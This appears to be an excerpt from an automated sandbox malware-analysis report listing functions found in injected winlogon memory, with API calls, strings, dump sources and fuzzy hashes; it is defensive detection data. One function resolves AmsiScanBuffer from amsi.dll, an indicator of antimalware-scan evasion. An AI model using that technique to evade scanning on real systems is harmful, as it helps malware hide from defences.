Instruction Fuzzy Hash: BAF0A47374478892FB219B21F494B9B7361FBC4B9CFC44021CE4946954DE6DC64AC7D2

Function 000001CA7D211AD4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001CA7D211AF4
StrCmpNIW.SHLWAPI ref: 000001CA7D211B0E
lstrlenW.KERNEL32 ref: 000001CA7D211B1D
StrCpyW.SHLWAPI ref: 000001CA7D211B32

Strings

\\?\, xrefs: 000001CA7D211B02

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction ID: a75b9edf9b8994863e05616ee0606fecf03f18b00d3583885107efc661ca5ccb
Opcode Fuzzy Hash: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction Fuzzy Hash: 0DF0A43375478892F7218B20F484B9A7360FB84B9CFC4C025DA4946554DE7EC74AC7D6

Function 000001CA7D1E1AD4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001CA7D1E1AF4
StrCmpNIW.SHLWAPI ref: 000001CA7D1E1B0E
lstrlenW.KERNEL32 ref: 000001CA7D1E1B1D
StrCpyW.SHLWAPI ref: 000001CA7D1E1B32

Strings

\\?\, xrefs: 000001CA7D1E1B02

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction ID: 5131f7decd79886618750e5d372dbf6a6da6afe116d4c20a90690d0bf9f1d3e7
Opcode Fuzzy Hash: effff3530f1f25e22f57eaf43e9f5b9d86630ec4a353fbe38ed28e1154ec946c
Instruction Fuzzy Hash: 69F0AF73B5878892FB218B24F8D4B997371FB44B8CFC44021CA4942958DE6EC788CB52

Function 000001CA7D29B904 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001CA7D29B929
GetProcAddress.KERNEL32 ref: 000001CA7D29B93F
FreeLibrary.KERNEL32 ref: 000001CA7D29B95B

Strings

CorExitProcess, xrefs: 000001CA7D29B938
mscoree.dll, xrefs: 000001CA7D29B920

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction ID: c70e5ec6ea267bb5cb580a1a018e7bc41a37316a57f8b87e098493fbd84ad30a
Opcode Fuzzy Hash: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction Fuzzy Hash: E6F0683265470941FA114B24D884B9B7720FF89759FD402199E69491E4CF2EC44AC6C3

Function 000001CA7D293708 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,000001CA7D29275A), ref: 000001CA7D29372A
StrCpyW.SHLWAPI ref: 000001CA7D29373A
StrCatW.SHLWAPI ref: 000001CA7D293746
PathCombineW.SHLWAPI(?,?,00000000,000001CA7D29275A), ref: 000001CA7D293754

Strings

\\.\pipe\, xrefs: 000001CA7D293720

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction ID: a6a4aab0aeac4f6197f237278a9c0a3b7006fc945381a0c775642f0a2f533f1f
Opcode Fuzzy Hash: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction Fuzzy Hash: 4FF05E76B44B8881FA058B13B91459BB260FFC8FC9F848430EE0A0BB18DE69C44687C3

Function 000001CA7D21B904 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001CA7D21B929
GetProcAddress.KERNEL32 ref: 000001CA7D21B93F
FreeLibrary.KERNEL32 ref: 000001CA7D21B95B

Strings

CorExitProcess, xrefs: 000001CA7D21B938
mscoree.dll, xrefs: 000001CA7D21B920

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction ID: 70c250347f594e71b17261cfaf8131f5a1330f05be77572a744952222a5b5b64
Opcode Fuzzy Hash: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction Fuzzy Hash: 6FF06273A4470941FA118B24E845BA93730FF49769FD54219AA6A451E4CF2EC44AC6CB

Function 000001CA7D213708 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,000001CA7D21275A), ref: 000001CA7D21372A
StrCpyW.SHLWAPI ref: 000001CA7D21373A
StrCatW.SHLWAPI ref: 000001CA7D213746
PathCombineW.SHLWAPI(?,?,00000000,000001CA7D21275A), ref: 000001CA7D213754

Strings

\\.\pipe\, xrefs: 000001CA7D213720

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction ID: 127a490b207412094bdf773d7bc7f314ed27483ed9a8622cdd057b0091c70391
Opcode Fuzzy Hash: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction Fuzzy Hash: C8F0BE72B44B8881FA058B13B8045A97221BF48FC8FC5D430FE0A07B28CE39D54383C6

Function 000001CA7D1EB904 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001CA7D1EB929
GetProcAddress.KERNEL32 ref: 000001CA7D1EB93F
FreeLibrary.KERNEL32 ref: 000001CA7D1EB95B

Strings

mscoree.dll, xrefs: 000001CA7D1EB920
CorExitProcess, xrefs: 000001CA7D1EB938

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction ID: c75c0d1d0a7dfc333aa3dd880c92edac9d32d090e86cc0fd6d0cdfce16583c4f
Opcode Fuzzy Hash: 339ee8a94e4e2630b1e7bbe0a7ae05b9533d7e89fe24ac804ce0b6f6a1d1c85e
Instruction Fuzzy Hash: 91F09673A4270981FB118B14D854B997720FF45769FD40319DA69451E8CF2EC548C383

Function 000001CA7D1E3708 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,00000000,000001CA7D1E275A), ref: 000001CA7D1E372A
StrCpyW.SHLWAPI ref: 000001CA7D1E373A
StrCatW.SHLWAPI ref: 000001CA7D1E3746
PathCombineW.SHLWAPI(?,?,00000000,000001CA7D1E275A), ref: 000001CA7D1E3754

Strings

\\.\pipe\, xrefs: 000001CA7D1E3720

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction ID: c82dd5a25fec972a5fbc4a73daeaf237b653ae254e79d6f593719484f7f8d2f0
Opcode Fuzzy Hash: e16f4b25d0074ed40968d37b24dcd1bf4c0770f318e82e0156fcd8cc7ff66dcb
Instruction Fuzzy Hash: 90F08276F45B9881FA058B17F9245997661BF48FC9FC88430EE4A07B58CF2DC5458783

Function 000001CA7D291E3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13librarysleeploaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 000001CA7D291E47
GetProcAddress.KERNEL32 ref: 000001CA7D291E57
Sleep.KERNEL32 ref: 000001CA7D291E67

Strings

amsi.dll, xrefs: 000001CA7D291E40
AmsiScanBuffer, xrefs: 000001CA7D291E50

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: AddressLibraryLoadProcSleep
String ID: AmsiScanBuffer$amsi.dll
API String ID: 188063004-3248079830
Opcode ID: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction ID: 2907fe888d2c04c09e7fe008df7f310d9433daeb94394008bd5d98f7c7cdab68
Opcode Fuzzy Hash: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction Fuzzy Hash: B4D04C36E91708A5F90B6B11D854BA73262FFD4B49FC40415890A193649E2EC55A93D3

Function 000001CA7D211E3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 13librarysleeploaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 000001CA7D211E47
GetProcAddress.KERNEL32 ref: 000001CA7D211E57
Sleep.KERNEL32 ref: 000001CA7D211E67

Strings

AmsiScanBuffer, xrefs: 000001CA7D211E50
amsi.dll, xrefs: 000001CA7D211E40

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: AddressLibraryLoadProcSleep
String ID: AmsiScanBuffer$amsi.dll
API String ID: 188063004-3248079830
Opcode ID: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction ID: 7246112f9244b4226b796b0cd794045831b2067abd02715776a67b51b8a182b6
Opcode Fuzzy Hash: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction Fuzzy Hash: 2ED0EC32E9170881F90B6B00DC54B9432217F94B18FC18018950A012649E3ED54A93DB

Function 000001CA7D295810 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CA7D295896

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction ID: 99275fefa3e122d711dffe7bf7ab3ffa9f0cd8fb82334eb92c6249ce1198314e
Opcode Fuzzy Hash: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction Fuzzy Hash: C1021A33659B8886E761CB15F49079AB7A0F7C4788F500015EACE97BA8DF7DC485CB82

Function 000001CA7D215810 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001CA7D215896

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction ID: aa8ac499eb692d5db1208b44326d97ecb6e913e81b2b611b9ce91f482cf527ce
Opcode Fuzzy Hash: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction Fuzzy Hash: 5302FD33658B8486E761CB19F49079AB7B0F7C4798F504019EA8E47BA8DF7EC445CB82

Function 000001CA7D292C80 Relevance: 7.6, APIs: 6, Instructions: 131COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 000001CA7D292CAD
TlsGetValue.KERNEL32 ref: 000001CA7D292CBC
TlsGetValue.KERNEL32 ref: 000001CA7D292CCB
TlsSetValue.KERNEL32 ref: 000001CA7D292E0F
TlsSetValue.KERNEL32 ref: 000001CA7D292E1E
TlsSetValue.KERNEL32 ref: 000001CA7D292E2D

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction ID: 6a2463f9efe1ef2445148160494f6b45801955cb1664d84a517ab5a6c6691788
Opcode Fuzzy Hash: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction Fuzzy Hash: DD51AF37B5470987F326CB16A440EAA73A1FF88B89FD140199D5A53B54DB3AC8068BD3

Function 000001CA7D212C80 Relevance: 7.6, APIs: 6, Instructions: 131COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 000001CA7D212CAD
TlsGetValue.KERNEL32 ref: 000001CA7D212CBC
TlsGetValue.KERNEL32 ref: 000001CA7D212CCB
TlsSetValue.KERNEL32 ref: 000001CA7D212E0F
TlsSetValue.KERNEL32 ref: 000001CA7D212E1E
TlsSetValue.KERNEL32 ref: 000001CA7D212E2D

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction ID: f376f59fa2a11924f07aeae0f4e24fca5b39dbef64f999cd2058c410ead475d3
Opcode Fuzzy Hash: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction Fuzzy Hash: 04518F37B4470987F366CB15E441E9AB3A4FF88B58F908119AD5A43794DB3BD8068BC3

Function 000001CA7D292AB4 Relevance: 7.6, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 000001CA7D292AE1
TlsGetValue.KERNEL32 ref: 000001CA7D292AF0
TlsGetValue.KERNEL32 ref: 000001CA7D292AFF
TlsSetValue.KERNEL32 ref: 000001CA7D292C3B
TlsSetValue.KERNEL32 ref: 000001CA7D292C4A
TlsSetValue.KERNEL32 ref: 000001CA7D292C59

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction ID: 3378145a71404300d070cab9fed9048c8f8061d59c9752aa83fb82bf50c4289a
Opcode Fuzzy Hash: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction Fuzzy Hash: 8851A133A547098AF326CF16A450EAA73A5FF88B89FD10018DD4A13754DB7AC8078BC3

Function 000001CA7D212AB4 Relevance: 7.6, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 000001CA7D212AE1
TlsGetValue.KERNEL32 ref: 000001CA7D212AF0
TlsGetValue.KERNEL32 ref: 000001CA7D212AFF
TlsSetValue.KERNEL32 ref: 000001CA7D212C3B
TlsSetValue.KERNEL32 ref: 000001CA7D212C4A
TlsSetValue.KERNEL32 ref: 000001CA7D212C59

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction ID: 9e5fd35e134bb6201940a3d8bb8db161ac21b1b241632d42dbc14525f9094f05
Opcode Fuzzy Hash: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction Fuzzy Hash: 7E518233B54705CBF726CF15A440A9A73A4FF84B88F808119AE4A43754DB3AD906C7C3

Function 000001CA7D1E2AB4 Relevance: 7.6, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 000001CA7D1E2AE1
TlsGetValue.KERNEL32 ref: 000001CA7D1E2AF0
TlsGetValue.KERNEL32 ref: 000001CA7D1E2AFF
TlsSetValue.KERNEL32 ref: 000001CA7D1E2C3B
TlsSetValue.KERNEL32 ref: 000001CA7D1E2C4A
TlsSetValue.KERNEL32 ref: 000001CA7D1E2C59

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction ID: 8dc7a5a5a748a40cbc29a5a267432368ed8bc244d7968494e66c256cbaf93485
